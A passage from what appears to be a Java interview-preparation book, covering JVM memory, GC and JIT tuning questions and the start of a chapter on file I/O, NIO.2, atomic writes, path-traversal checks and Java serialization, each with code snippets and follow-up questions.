- `jcmd <pid> VM.classloader_stats`; `-Xlog:class+load` shows the stream.
- Fix by caching generated classes/proxies and reusing factories.

FOLLOW-UP TRAPS

- **Does `-XX:MaxMetaspaceSize` fix it?** It converts slow growth into an OOM.
- **Do reflection `Method.invoke` calls generate classes?** Older JDKs inflated accessors after 15 calls; Java 18+ uses method handles.

#metaspace #proxies #classloading

Q88 Why does `jmap -dump:live` hurt production, and what is a safer alternative? INTERMEDIATE

`:live` triggers a full GC and the dump itself pauses all threads for the time it takes to write the heap, from seconds to minutes for big heaps, plus disk usage equal to the live set.

- Alternatives: `jcmd GC.class_histogram` for a cheap overview; JFR Old Object Sample; take the dump from one instance after removing it from the load balancer.
- Ensure free disk, compress the dump (`gzip`), and protect it as it contains secrets.
- `-XX:+HeapDumpOnOutOfMemoryError` captures the state at failure.

FOLLOW-UP TRAPS

- **Does a dump contain passwords?** Yes, whatever is in memory, including keys and tokens.
- **Are dumps from non-live mode useful?** Yes, but include garbage, making analysis noisier.

#heap-dump #jmap #production

Q89 A service on 8GB container, `-Xmx6g`, G1, gets OOMKilled at 7.9GB RSS. What do you change? INTERMEDIATE

Heap max of 75% leaves too little for off-heap use (Metaspace ~150MB, code cache up to 240MB, stacks, direct buffers, G1 remembered sets ~10%). Reduce the heap and measure the footprint.

```
java -XX:MaxRAMPercentage=60 -XX:MaxDirectMemorySize=512m \
     -XX:MaxMetaspaceSize=256m -Xss512k -XX:NativeMemoryTracking=summary -jar app.jar
```

- Use NMT to find the largest non-heap consumer; cap it explicitly.
- Reduce thread counts; tune `MALLOC_ARENA_MAX`.

FOLLOW-UP TRAPS

- **Does `-Xms` below `-Xmx` reduce the risk?** Only temporarily; heap grows toward Xmx.
- **Is G1 overhead relevant?** Yes, remembered sets and card tables take ~5-20% of heap.

#containers #oomkilled #sizing

Q90 You must call a C library from Java 21 without JNI glue. How? ADVANCED

Use the Foreign Function and Memory API (preview in 21, final in 22): look up the symbol, create a downcall handle, and allocate arguments in an `Arena`. `jextract` can generate Java bindings from the header.

```
jextract --output src -t com.acme.zlib zlib.h
java --enable-preview --enable-native-access=ALL-UNNAMED --source 21 Main.java
```

- No C compilation step is needed; memory safety checks apply to segments, not to the C library's own bugs.
- Close the `Arena` to free off-heap memory deterministically.

FOLLOW-UP TRAPS

- **Does FFM make native calls safe?** No, bad function descriptors or pointers can still crash the JVM.
- **Why call `invokeExact` carefully?** Casts must match the descriptor exactly or it throws `WrongMethodTypeException`.

#panama #ffm #native

Q91 A modular app fails with `module not found: java.sql` using `jlink`. Why? INTERMEDIATE

`jlink` includes only the modules you list or that are resolved from your module graph. Missing `requires java.sql`, or services/reflection-only dependencies that static analysis cannot see, produce missing modules at runtime.

```
jdeps --print-module-deps --ignore-missing-deps app.jar
jlink --add-modules java.base,java.sql,jdk.unsupported --output rt --strip-debug --compress zip-6
```

- Add modules used via reflection, `ServiceLoader` or JNDI manually (`--add-modules`).
- Spring Boot apps often need `jdk.unsupported`, `java.naming`, `java.management`.

FOLLOW-UP TRAPS

- **Can `jlink` use automatic modules?** No, all must be named modules.
- **Does a trimmed runtime reduce attack surface?** Yes, and image size, but patches need a rebuild.

#jpms #jlink #runtime-image

Q92 A `ServiceLoader` cannot find a provider after modularization. What is missing? INTERMEDIATE

In a named module the consumer needs `uses <service>` and the provider needs `provides <service> with <impl>` in its `module-info.java`; the `META-INF/services` file is only honored on the classpath or in automatic modules.

```
// consumer
module app { uses com.acme.spi.Tax; }
// provider
module vat { provides com.acme.spi.Tax with com.acme.vat.VatTax; }
```

- Provider must also be resolved into the module graph (`--add-modules` or required).
- The service interface package must be exported.

FOLLOW-UP TRAPS

- **Does `requires` the provider create the link?** Not needed, but it must be in the graph.
- **Can the impl have a public `provider()` method?** Yes, a static `provider` method is allowed instead of a public constructor.

#jpms #serviceloader #spi

Q93 A class compiled with `List<? extends Number>` is called with `add(Integer)` and fails to compile. How do you design the API? INTERMEDIATE

If the method both reads and writes, a wildcard is the wrong tool; use a type parameter. If it only reads use `? extends`, if it only writes use `? super`.

```
static double sum(List<? extends Number> xs) { double s = 0; for (Number n : xs) s +=
n.doubleValue(); return s; }
static void fill(List<? super Integer> out) { for (int i = 0; i < 3; i++) out.add(i); }
static <T> void swap(List<T> l, int i, int j) { T t = l.get(i); l.set(i, l.get(j)); l.set(j, t);
}
```

- Wildcard capture helpers allow `List<?>` signatures to call generic implementations.
- Return types should rarely be wildcards.

FOLLOW-UP TRAPS

- **Why does `List<?>` swap not compile?** Capture of `?` is not nameable; delegate to a generic helper.
- **Can `fill` accept `List<Object>`?** Yes, `Object` is a supertype of `Integer`.

#generics #pecs #api-design

Q94 What is the output and why? Streams of boxed values compared with `==`. BASIC

`true` for 127 and `false` for 1000 on a default JVM, because `Integer.valueOf` caches -128..127 and returns distinct objects beyond.

```
Integer a = 127, b = 127;
Integer c = 1000, d = 1000;
System.out.println(a == b);       // true
System.out.println(c == d);       // false
System.out.println(c.equals(d));  // true
```

- `-XX:AutoBoxCacheMax=2000` would flip the second to `true`; never rely on it.
- Always compare boxed values with `equals` or unbox.

FOLLOW-UP TRAPS

- **Does the cache cover `Long`?** Yes, -128..127 as well, but not `Double`.
- **Does `c == 1000` compare references?** No, mixing with a primitive unboxes `c`.

#boxing #integer-cache #equality

Q95 A hot loop adds `Long` values into `Map<String, Long>` via `merge`. How would you reduce GC pressure? INTERMEDIATE

Every `Long` above 127 allocates. Switch to a primitive-specialized map (fastutil `Object2LongOpenHashMap`, Eclipse Collections), or hold a mutable accumulator: `Map<String, LongAdder>` or `long[]` slot.

```
Map<String, long[]> m = new HashMap<>();
m.computeIfAbsent(key, k -> new long[1])[0] += delta;
```

- Measure with JMH `-prof gc` to see B/op before and after.
- Avoid premature optimization if allocation rate is small.

FOLLOW-UP TRAPS

- **Is `long[]` thread-safe?** No; use `LongAdder` for concurrent updates.
- **Does `merge(key, 1L, Long::sum)` allocate?** Yes for values beyond the cache.

#boxing #allocation #collections

Q96 A CPU-bound service has high young GC frequency but low pause times. Is that a problem? INTERMEDIATE

Not necessarily. High allocation rate with short young pauses is healthy generational behaviour, provided survivors die and promotion is low. It becomes an issue when GC CPU share is high, young gen is too small causing premature promotion, or pauses breach SLOs.

- Check GC time percentage, promotion rate, survivor occupancy and old growth.
- Reduce allocation with JFR allocation profiling (boxing, string building, temp collections).
- Increasing young generation size reduces frequency at the expense of per-GC work.

FOLLOW-UP TRAPS

- **Do frequent young GCs imply a leak?** No, only old gen growth does.
- **Will G1 grow young gen automatically?** Yes, within `G1NewSizePercent` / `G1MaxNewSizePercent` to meet the pause target.

#gc #allocation-rate #young-gen

Q97 Phantom references: how would you implement safe cleanup of a native handle? ADVANCED

Use `Cleaner` with a static nested cleanup action that holds only the native handle (not the owner), and provide `AutoCloseable` for deterministic release.

```
final class NativeRes implements AutoCloseable {
    private static final Cleaner CLEANER = Cleaner.create();
    private record State(long handle) implements Runnable { public void run() { free(handle); } }
    private final Cleaner.Cleanable cleanable;
    NativeRes(long h) { cleanable = CLEANER.register(this, new State(h)); }
    @Override public void close() { cleanable.clean(); }  // idempotent
    private static void free(long h) { /* native free */ }
}
```

- If `State` were an inner class referencing `NativeRes`, the object would never become phantom reachable.
- `clean()` runs at most once.

FOLLOW-UP TRAPS

- **Why avoid a lambda capturing `this`?** It keeps the owner strongly reachable.
- **Is the Cleaner thread guaranteed to run promptly?** No; treat it as a safety net.

#cleaner #phantom-reference #native-resources

Q98 A request handler stores user context in a `ThreadLocal` and values leak across requests. What happened? INTERMEDIATE

Pool threads are reused. If the value is not removed after a request, the next request on that thread sees stale data (a security bug) and the value stays reachable (a leak).

```
static final ThreadLocal<User> CURRENT = new ThreadLocal<>();
void handle(Req r) {
    CURRENT.set(auth(r));
    try { process(r); } finally { CURRENT.remove(); }
}
```

- Put cleanup in a servlet `Filter`/interceptor `finally`.
- `InheritableThreadLocal` copies to child threads at creation, and does not follow pool-reused threads.

- Asynchronous hand-off requires explicit context propagation.

> **FOLLOW-UP TRAPS**
> - **Does `set(null)` equal `remove()`?** It leaves the entry in the map; `remove` deletes it.
> - **Does `@Async` copy the ThreadLocal?** No, unless you configure a `TaskDecorator`.

#threadlocal #thread-pool #bug

Q99 **After enabling `-XX:+UseStringDeduplication` memory barely drops. Why?** ADVANCED

Deduplication shares only the underlying `byte[]` of strings that survive a few GCs (age threshold), and runs concurrently in the background. It does not dedup `String` objects themselves nor short-lived strings, and has no effect if the duplicates are not strings or the bytes are tiny.

- Observe with `-Xlog:stringdedup*=debug`.
- Better wins come from avoiding duplication at the source (interning controlled sets, enums, canonical maps).
- Supported by G1, ZGC (generational), Shenandoah, Parallel and Serial in recent JDKs.

> **FOLLOW-UP TRAPS**
> - **Is it the same as `String.intern`?** No; intern returns the canonical `String`, dedup merges the arrays.
> - **Does it cost CPU?** Yes, a small background cost.

#string-dedup #g1 #memory

Q100 **You're asked to eliminate a 3-second Full GC in a 64GB Parallel GC batch service that serves user requests. Options?** ADVANCED

Parallel's full pause scales with live data. Move to a concurrent collector: G1 first (Full GC avoided, pauses ~200ms), ZGC or Shenandoah if you need < 10ms. Validate under load, compare throughput loss, memory overhead and CPU.

```
java -XX:+UseZGC -XX:+ZGenerational -Xmx64g -Xlog:gc*:file=zgc.log -jar app.jar
```

- Heaps above 32GB lose compressed oops; ZGC does not use them anyway.
- Alternatively split the batch and the request-serving workloads into separate JVMs.

> **FOLLOW-UP TRAPS**
> - **Will ZGC remove all pauses?** No, but they are sub-millisecond typically.
> - **Is it safe to flip without testing?** No; throughput and memory footprint change.

#gc-selection #latency #migration

Q101 **A thread dump shows many threads in `RUNNABLE` state inside `socketRead0`. Is the CPU busy?** INTERMEDIATE

Not necessarily. Threads blocked in native I/O such as `socketRead0` are reported `RUNNABLE` by the JVM, because it does not distinguish them from running Java code. They are waiting on the network, typically a slow downstream, without timeout.

- Verify with `top -H` and per-thread CPU time.
- Fix: set connect/read timeouts, use circuit breakers and bulkheads, and monitor pool saturation.
- JFR `jdk.SocketRead` events show durations and hosts.

> **FOLLOW-UP TRAPS**
> - **Do `RUNNABLE` threads count as CPU usage?** No.
> - **Does a virtual thread blocked on a socket pin a carrier?** No, the JDK unmounts it for java.net/NIO blocking calls.

#jstack #runnable #io

Q102 Your app logs `Compilation of ... made not entrant` and gets slower. What is happening? ADVANCED

Deoptimization: a speculative assumption (type profile, class hierarchy, null/range check, uncommon trap) failed, so compiled code was invalidated ("made not entrant") and execution fell back to the interpreter until recompiled. Occasional events are normal; repeated cycles hurt performance.

- Typical triggers: a new subclass loaded changing a monomorphic call site, a branch never taken before now executed.
- Inspect with `-XX:+UnlockDiagnosticVMOptions -XX:+LogCompilation` or JFR `jdk.Deoptimization`.
- Mitigate by warming with representative traffic and avoiding megamorphic hot paths.

FOLLOW-UP TRAPS

- **Is deopt a bug?** No, it is how speculative optimization stays correct.
- **Can warm-up with unrealistic data hurt?** Yes, it builds wrong type profiles.

#jit #deoptimization #profiling

Q103 JIT stops compiling and `CodeCache is full` is logged. What is the impact? ADVANCED

When the code cache fills, the JIT disables compilation ("CodeCache is full. Compiler has been disabled"), so new hot code runs interpreted, producing a drastic slowdown and CPU rise.

- Increase `-XX:ReservedCodeCacheSize` (default 240MB with tiered compilation).
- Code cache sweeping/flushing exists but cannot always cope with heavy dynamic class generation.
- Monitor with `jcmd <pid> Compiler.codecache` and the JMX `Code Cache` pool.

FOLLOW-UP TRAPS

- **Is the code cache part of the heap?** No, it is native, counted in RSS.
- **Is reducing tiers an option?** Yes, `-XX:TieredStopAtLevel=1` shrinks code size but loses peak performance.

#jit #codecache #tuning

Q104 You need to prove that a refactor reduced allocations. How do you do it rigorously? INTERMEDIATE

Write a JMH benchmark for the hot path and use the GC profiler, which reports normalized allocation per operation (`gc.alloc.rate.norm`) independent of speed. Compare before and after with several forks.

```
java -jar benchmarks.jar ParseBench -prof gc -f 3 -wi 5 -i 5
```

- Confirm in production with JFR allocation events (`jdk.ObjectAllocationSample`).
- B/op near 0 may indicate the JIT elided the work or scalar-replaced it; check the result is consumed.

FOLLOW-UP TRAPS

- **Is lower time always lower allocation?** No, they are independent; report both.
- **Why not `Runtime.totalMemory()` diffs?** They include GC timing noise and other threads.

#jmh #allocation #profiling

CORE JAVA · CHAPTER 9

File I/O & Serialization

Streams vs readers, buffering, NIO.2, memory-mapped files, large file processing, charsets, Java serialization and its security risks, JSON vs Protobuf/Avro, zip handling, atomic writes and real-world file failure scenarios.

104 questions **25** basic **48** intermediate **31** advanced

Theory

Q1 What is the difference between byte streams and character streams? BASIC

`InputStream` / `OutputStream` move raw bytes; `Reader` / `Writer` move `char`s and perform charset decoding/encoding. Use streams for binary data (images, archives) and readers for text.

- `InputStreamReader` and `OutputStreamWriter` are the bridges from bytes to chars and need a charset.
- `FileReader` and `FileWriter` use the platform default charset before Java 18 and UTF-8 from Java 18 (JEP 400).

FOLLOW-UP TRAPS

- **Can you read a PNG with a `Reader`?** No, decoding arbitrary bytes as text corrupts them irreversibly.
- **Is `char` one byte?** No, it is a 16-bit UTF-16 code unit.

#streams #readers #io

Q2 Why should you buffer I/O? BASIC

Every unbuffered `read()` / `write()` on a `FileInputStream` is a system call. Wrapping in `BufferedInputStream` / `BufferedReader` (default 8 KB) batches them and reduces syscalls dramatically.

- `BufferedWriter` needs `flush()` or `close()` to push data out.
- Bulk reads such as `read(byte[])` with a large array already amortize syscalls; extra buffering adds little.
- `Files.newBufferedReader` returns a buffered reader by default.

FOLLOW-UP TRAPS

- **Does buffering help if you already read 64 KB chunks?** Barely; it only adds a copy.
- **If the JVM exits without close, is buffered data written?** Not guaranteed; there is no automatic flush of `BufferedWriter`.

#buffering #performance

Q3 What does the Decorator pattern look like in java.io? BASIC

Streams wrap other streams to add behaviour: `new DataInputStream(new BufferedInputStream(new FileInputStream(f)))`. Each layer adds one concern (buffering, primitive decoding, compression, encryption).

- Closing the outermost wrapper closes the whole chain.
- Order matters: put `GZIPOutputStream` between the file and the buffer or the buffer in front, depending on what you want compressed.

FOLLOW-UP TRAPS

- **If the wrapper constructor throws, is the inner stream leaked?** Yes, unless both are declared as separate resources in try-with-resources.
- **Do I need to close each layer?** No, closing the outer one is enough.

#decorator #streams

Q4 How does try-with-resources work? BASIC

Resources implementing `AutoCloseable` declared in the header are closed automatically in reverse order of declaration, whether the block completes normally or throws.

```
try (var in = Files.newInputStream(src);
     var out = Files.newOutputStream(dst)) {
    in.transferTo(out);
}
```

- If both the body and `close()` throw, the body exception is primary and the close exception is attached via `addSuppressed`.
- Java 9+ allows effectively final variables: `try (in)`.

FOLLOW-UP TRAPS

- **Which closes first, `in` or `out`?** `out`, reverse order.
- **How do you read the suppressed exception?** `Throwable.getSuppressed()`.

#try-with-resources #autocloseable

Q5 What are the pitfalls of the old try/finally close pattern? INTERMEDIATE

An exception from `close()` in `finally` replaces the original exception, hiding the root cause, and nested resources require nested try blocks to avoid leaks.

- Try-with-resources preserves the primary exception and suppresses the rest.
- A null resource is allowed in the header and simply skipped on close.

FOLLOW-UP TRAPS

- **Is the resource still open in the `catch` block?** No, it is closed before `catch` and `finally` run.
- **Can `close()` be called twice safely?** For `Closeable` it must be idempotent, but custom classes may violate this.

#try-with-resources #exceptions

Q6 How do charsets work, and why does the default matter? BASIC

A charset maps characters to bytes. Reading with the wrong charset yields garbage (mojibake) or replacement characters. Always specify one explicitly via `StandardCharsets.UTF_8`.

- Before Java 18 the default came from `file.encoding`/OS locale; since Java 18 it is UTF-8 for APIs like `FileReader`, `String.getBytes()`.
- `System.out` and console use `stdout.encoding` (Java 19+), which can still differ.
- `Files.readString` and `Files.writeString` default to UTF-8 regardless of platform.

FOLLOW-UP TRAPS

- **Does JEP 400 change `Files.readAllLines` behaviour?** No, those already defaulted to UTF-8.
- **Can you detect the charset of a file reliably?** No, only heuristically (BOM or libraries).

#charset #encoding #utf-8

Q7 How does Java handle malformed input when decoding? INTERMEDIATE

`InputStreamReader` and `new String(bytes, cs)` replace malformed bytes with U+FFFD silently. `Files.readString` and `Files.newBufferedReader` throw `MalformedInputException`. To control behaviour use `CharsetDecoder.onMalformedInput(CodingErrorAction.REPORT)`.

```
var dec = StandardCharsets.UTF_8.newDecoder()
    .onMalformedInput(CodingErrorAction.REPORT);
try (var r = new BufferedReader(new InputStreamReader(in, dec))) { /* ... */ }
```

FOLLOW-UP TRAPS

- **Why does `readAllLines` fail on a Latin-1 file?** Strict UTF-8 decoding rejects bytes like 0xE9 not forming valid sequences.
- **Is the BOM stripped automatically for UTF-8?** No, Java leaves U+FEFF at the start of the text.

#charset #decoder #malformed

Q8 What is the difference between java.io.File and java.nio.file.Path? BASIC

`File` is a legacy class with poor error reporting (booleans), no symlink support and limited metadata. `Path` plus `Files` (NIO.2, Java 7) is the modern API with exceptions, attributes, symlinks, atomic moves and walking.

- Convert with `file.toPath()` and `path.toFile()`.
- `Path` is immutable and filesystem-aware (zip filesystems, in-memory test filesystems).

FOLLOW-UP TRAPS

- **Does `File.delete()` tell you why it failed?** No, just `false`; `Files.delete` throws a specific exception.
- **Does creating a `Path` touch the disk?** No, it is a pure name until you call a `Files` method.

#nio2 #path #file

Q9 Explain Path operations: resolve, relativize, normalize. INTERMEDIATE

`resolve` joins paths (an absolute argument replaces the base); `relativize` computes the path between two paths of the same type; `normalize` removes `.` and `..` lexically.

```
Path base = Path.of("/data/app");
base.resolve("logs/a.log");          // /data/app/logs/a.log
base.resolve("/etc/passwd");         // /etc/passwd
Path.of("/a/b/../c").normalize();    // /a/c
Path.of("/a/b").relativize(Path.of("/a/c/d")); // ../c/d
```

FOLLOW-UP TRAPS

- **Does `normalize` resolve symlinks?** No, it is purely textual; use `toRealPath()` for that.
- **Can you relativize an absolute and a relative path?** No, `IllegalArgumentException`.

#nio2 #path #resolve

Q10 What convenience methods does Files provide? BASIC

`readString`, `writeString`, `readAllBytes`, `readAllLines`, `lines`, `copy`, `move`, `delete`, `deleteIfExists`, `createDirectories`, `walk`, `list`, `newBufferedReader/Writer`, `size`, `getLastModifiedTime`.

- `readAllBytes` and `readString` load the whole file into memory; unsuitable for big files.
- `Files.lines`, `Files.walk` and `Files.list` return lazy streams that hold an open file handle.

FOLLOW-UP TRAPS

- **Do `Files.write` calls truncate by default?** Yes: `CREATE`, `TRUNCATE_EXISTING`, `WRITE` are the defaults.
- **What is the size limit of `readAllBytes`?** About 2 GB (array limit).

#nio2 #files

Q11 Why must Files.lines, walk and list be closed? INTERMEDIATE

These streams wrap an open file or directory handle, released only when the stream is closed. Leaking them eventually causes "Too many open files".

```
try (Stream<String> lines = Files.lines(p)) {
    long n = lines.filter(l -> l.contains("ERROR")).count();
}
```

- `Files.lines` wraps checked `IOException` in `UncheckedIOException` during iteration.

FOLLOW-UP TRAPS

- **Does a terminal operation close the stream?** No, only `close()` does.
- **Does `Files.walk` follow symlinks?** Not unless `FileVisitOption.FOLLOW_LINKS` is passed.

#nio2 #streams #leak

Q12 Compare Files.walk, Files.list and walkFileTree. INTERMEDIATE

`list` is one directory level, `walk` is a lazy depth-first stream to a max depth, and `walkFileTree` uses a `FileVisitor` with callbacks and control flow (`SKIP_SUBTREE`, `TERMINATE`) and per-file error handling.

- Use `walkFileTree` for recursive delete or copy where you must handle `postVisitDirectory` and permission errors.
- `walk` aborts the whole stream on an `AccessDeniedException` (wrapped in `UncheckedIOException`).

FOLLOW-UP TRAPS

- **How do you delete a directory tree?** Delete files in `visitFile` and directories in `postVisitDirectory`, as a directory must be empty.
- **Is `walk` order sorted?** No, directory order is filesystem-dependent.

#nio2 #walk #filevisitor

Q13 How does Files.copy and Files.move behave? INTERMEDIATE

By default both fail with `FileAlreadyExistsException` if the target exists. `REPLACE_EXISTING` overrides it; `ATOMIC_MOVE` requests an atomic rename and throws `AtomicMoveNotSupportedException` if the filesystem cannot guarantee it.

- Copying a directory copies only the empty directory, not its content.
- Moves across filesystems degrade to copy plus delete, which is not atomic.
- `COPY_ATTRIBUTES` keeps timestamps where supported.

FOLLOW-UP TRAPS

- **Does `ATOMIC_MOVE` honour `REPLACE_EXISTING`?** It is implementation-specific; on POSIX rename replaces, on others it may throw.
- **Does `Files.copy(in, path)` close the stream?** No.

#nio2 #copy #move

Q14 How does WatchService work? INTERMEDIATE

Register a directory with a `WatchService` for `ENTRY_CREATE`, `ENTRY_MODIFY`, `ENTRY_DELETE`; then loop on `take()` / `poll()` to receive `WatchKey`s, process `pollEvents()` and call `key.reset()`.

```
try (WatchService ws = FileSystems.getDefault().newWatchService()) {
    dir.register(ws, StandardWatchEventKinds.ENTRY_CREATE);
    WatchKey key = ws.take();
    for (WatchEvent<?> e : key.pollEvents()) {
        System.out.println(e.context());
    }
    key.reset();
}
```

- It uses inotify on Linux, but on macOS the JDK polls (about 10 s delay by default, tunable via `SensitivityWatchEventModifier` in com.sun).
- Watching is not recursive; register each subdirectory yourself.

FOLLOW-UP TRAPS

- **What if you forget `reset()`?** The key is never signalled again and you stop receiving events.
- **Do you get one event per write?** No, multiple `ENTRY_MODIFY` events may fire for a single logical write, and `OVERFLOW` can occur.

#nio2 #watchservice

Q15 What is the difference between FileChannel and streams? INTERMEDIATE

`FileChannel` is bidirectional, supports positional reads/writes, `transferTo` / `transferFrom`, memory mapping, locking and `force()`. It works with `ByteBuffer`s, optionally direct ones.

- Positional read `read(buf, position)` is thread-safe and does not move the shared position.
- `ByteBuffer` requires `flip()` between write and read modes.
- Obtain via `FileChannel.open(path, options)` or `stream.getChannel()`.

FOLLOW-UP TRAPS

- **Why does reading return nothing after `put`?** You forgot `flip()`; position equals limit.
- **Does `read` fill the buffer fully?** Not guaranteed; loop until -1 or buffer full.

#nio #filechannel #bytebuffer

Q16 What is a direct ByteBuffer and when do you use it? ADVANCED

`ByteBuffer.allocateDirect` allocates native memory outside the heap, letting the OS do I/O without an intermediate copy from the heap array. It is costly to allocate and freed only when GC collects the buffer object.

- Good for long-lived, reused buffers on network or file channels.
- Capped by `-XX:MaxDirectMemorySize` (defaults to max heap); exceeding it throws `OutOfMemoryError: Direct buffer memory`.
- Heap buffers passed to channels are copied to a temporary direct buffer internally.

FOLLOW-UP TRAPS

- **Are direct buffers visible in heap dumps?** Only the small wrapper; the native memory is not counted in heap usage.
- **Should you allocate a direct buffer per request?** No, pool or reuse them.

#nio #direct-buffer #off-heap

Q17 How do memory-mapped files work? ADVANCED

`FileChannel.map(mode, position, size)` returns a `MappedByteBuffer` whose contents are backed by the OS page cache. Reads and writes become memory accesses; the OS faults pages in lazily and writes dirty pages back.

```
try (FileChannel ch = FileChannel.open(p, StandardOpenOption.READ)) {
    MappedByteBuffer buf = ch.map(FileChannel.MapMode.READ_ONLY, 0, ch.size());
    byte first = buf.get(0);
}
```

- A single mapping is limited to `Integer.MAX_VALUE` bytes (2 GB) via `ByteBuffer`; map in windows for larger files.
- `force()` flushes dirty pages. Unmapping is tied to GC (no public `unmap`) before the Java 22 `MemorySegment` API with `Arena`.

FOLLOW-UP TRAPS

- **Does closing the channel unmap the buffer?** No, the mapping stays valid until the buffer is garbage collected.
- **What happens if another process truncates the file while mapped?** Access can crash with `InternalError` (SIGBUS).

#mmap #mappedbytebuffer #nio

Q18 When is memory mapping better or worse than normal reads? ADVANCED

It shines for random access to large read-mostly files and for sharing data between processes. It is not magically faster for sequential scans, where buffered `FileChannel` reads with a large buffer are comparable.

- Page faults are hidden I/O stalls, so latency becomes unpredictable and blocking cannot be interrupted.
- Many mappings consume virtual address space and are slow to release on 32-bit JVMs.
- There is no error handling per read; I/O errors surface as `InternalError`.

FOLLOW-UP TRAPS

- **Does mmap avoid the page cache?** No, it uses the page cache directly (zero copy is the benefit).
- **Is it good for tiny files?** No, mapping setup cost dominates.

#mmap #performance #trade-offs

Q19 What is FileChannel.transferTo and why is it fast? INTERMEDIATE

`transferTo(position, count, target)` lets the kernel move bytes directly (e.g., `sendfile` on Linux) between file and socket or file without copying through user space.

- It may transfer fewer bytes than requested; loop until done.
- Used by servers (Netty `FileRegion`, Tomcat) for static content delivery.
- Does not work with TLS since data must be encrypted in user space (unless kTLS).

FOLLOW-UP TRAPS

- **Does it always copy everything in one call?** No, check the return value and loop.
- **Is it zero-copy over HTTPS?** Generally no.

#nio #zero-copy #transferto

Q20 How do you process a very large file efficiently? INTERMEDIATE

Stream it: read line by line (or in chunks) with bounded memory, process incrementally and write results incrementally. Never use `readAllBytes`, `readAllLines` or `readString` on files that may not fit in the heap.

- `BufferedReader.readLine` or `Files.lines` for text; `FileChannel` plus a reusable buffer for binary.
- For parallelism, split by byte ranges aligned to newline boundaries or use `Files.lines(...).parallel()` cautiously (the spliterator on file-backed streams splits poorly before Java 9; improved for UTF-8 and ASCII line streams).
- Memory use must be independent of file size.

FOLLOW-UP TRAPS

- **Does `Files.lines` load the whole file?** No, it is lazy.
- **Is parallel stream always faster for I/O-bound work?** No, disk throughput is usually the limit.

#large-files #streaming #memory

Q21 What is RandomAccessFile and when is it appropriate? INTERMEDIATE

`RandomAccessFile` supports `seek(pos)` with reads and writes at arbitrary offsets in modes `r`, `rw`, `rws` and `rwd`. It suits fixed-record files and tailing files.

- `rws` forces both content and metadata to disk on each write; `rwd` forces content only. Both are slow.
- It is unbuffered, so wrap or use `FileChannel` for performance.

FOLLOW-UP TRAPS

- **Is it thread-safe?** No, the file pointer is shared state; use positional channel reads.
- **Does `rw` create the file?** Yes, if missing.

#randomaccessfile #seek

Q22 How do you guarantee that written data reaches the disk? ADVANCED

`flush()` only moves data from Java buffers to the OS. To persist, call `FileChannel.force(true)` (or `FileDescriptor.sync()`), which issues `fsync`. Even then, disk write caches can lie.

- Writes with `StandardOpenOption.SYNC` or `DSYNC` sync on every write.
- For a new file also fsync the parent directory (not possible in pure Java on some platforms), otherwise the directory entry may be lost on crash.
- Databases batch writes and fsync once per commit group for throughput.

FOLLOW-UP TRAPS

- **Does `close()` fsync?** No.
- **Does `flush()` on a `FileOutputStream` do anything?** No, it is a no-op because it has no buffer.

#durability #fsync #force

Q23 How do you write a file atomically? ADVANCED

Write to a temporary file in the same directory (same filesystem), fsync it, then `Files.move(tmp, target, ATOMIC_MOVE)`. Readers see either the old or the new file, never a partial one.

```
Path tmp = Files.createTempFile(target.getParent(), "cfg", ".tmp");
try {
    Files.writeString(tmp, content);
    try (FileChannel ch = FileChannel.open(tmp, StandardOpenOption.WRITE)) {
        ch.force(true);
    }
    Files.move(tmp, target, StandardCopyOption.ATOMIC_MOVE);
} finally {
    Files.deleteIfExists(tmp);
}
```

FOLLOW-UP TRAPS

- **Why not create the temp file in `/tmp`?** It may be a different filesystem, making the move a non-atomic copy.
- **Is rename atomic on all platforms?** On POSIX yes; on Windows replacing may require `REPLACE_EXISTING` and can fail if the target is open.

#atomic-write #move #durability

Q24 How do temporary files work in Java? BASIC

`Files.createTempFile` and `createTempDirectory` create a uniquely named file atomically, with owner-only permissions (0600 / 0700) on POSIX. The location is `java.io.tmpdir`.

- Delete explicitly or use `StandardOpenOption.DELETE_ON_CLOSE`; `File.deleteOnExit()` keeps a list in memory that grows forever in long-running servers.
- The old `File.createTempFile` created files with default permissions.

> **FOLLOW-UP TRAPS**
> - **Is `deleteOnExit` safe for a server?** No, it leaks memory and does not run on a crash or `kill -9`.
> - **Can you guess the temp name?** The random component prevents predictable-name attacks.

#temp-files #security

Q25 How does file locking work with FileLock? ADVANCED

`FileChannel.lock()` (blocking) or `tryLock()` returns a `FileLock`, either exclusive or shared, over a region. Locks are held on behalf of the whole JVM, not individual threads, and are advisory on most Unix systems.

- Within one JVM a second lock on an overlapping region throws `OverlappingFileLockException`.
- Behaviour on NFS and some network filesystems is unreliable.
- Typical use is a lock file to ensure a single application instance or serialize writers across processes.

> **FOLLOW-UP TRAPS**
> - **Does the lock stop non-cooperating processes from reading?** Not on Unix; it is advisory.
> - **Does it coordinate threads of the same JVM?** No, use normal Java locks for that.

#filelock #concurrency #nio

Q26 How do you handle path traversal when working with user-supplied filenames? INTERMEDIATE

Resolve the user input against a base directory, normalize and verify the result still starts with the base. Prefer ignoring client paths and generating your own filenames.

```
Path base = Path.of("/srv/uploads").toRealPath();
Path target = base.resolve(userName).normalize();
if (!target.startsWith(base)) {
    throw new SecurityException("Path traversal: " + userName);
}
```

- `startsWith` on `Path` compares name elements, so `/srv/uploads-evil` does not match `/srv/uploads` (unlike string prefix).
- Symlinks inside the base can still escape; check `toRealPath` on the existing target.

> **FOLLOW-UP TRAPS**
> - **Is checking for ".." in the string enough?** No, encodings, absolute paths and symlinks bypass it.
> - **Why not `String.startsWith`?** `/srv/uploads2` passes the string check.

#security #path-traversal

Q27 How does Java's built-in serialization work? BASIC

A class implementing the marker interface `Serializable` can be written by `ObjectOutputStream.writeObject` and rebuilt by `ObjectInputStream.readObject`. The runtime walks the object graph by reflection, writing class metadata and non-static, non-transient field values.

- Shared references and cycles are preserved via back-references within one stream.
- Constructors of serializable classes are not called on deserialization; the no-arg constructor of the first non-serializable superclass is.

FOLLOW-UP TRAPS

- **Is a static field serialized?** No, static fields belong to the class.
- **What if a field type is not `Serializable`?** `NotSerializableException` at write time.

#serialization #serializable

Q28 What is serialVersionUID and what happens if you omit it? BASIC

It is a `static final long` that versions the serialized form. On read, the stream's UID must equal the local class's UID or `InvalidClassException` is thrown.

- If omitted, the JVM computes a hash from class name, interfaces, fields and methods; almost any change (even adding a method) changes it and breaks compatibility. Compilers may also compute it differently.
- Declare it explicitly: `private static final long serialVersionUID = 1L;`.
- Compatible changes: adding fields, adding classes in the hierarchy. Incompatible: removing a field type change, changing a class from `Serializable` to `Externalizable`.

FOLLOW-UP TRAPS

- **Does keeping the same UID guarantee compatibility?** No, incompatible structural changes (e.g., field type change) still fail.
- **What value do removed fields get when reading old data?** The default value (null, 0).

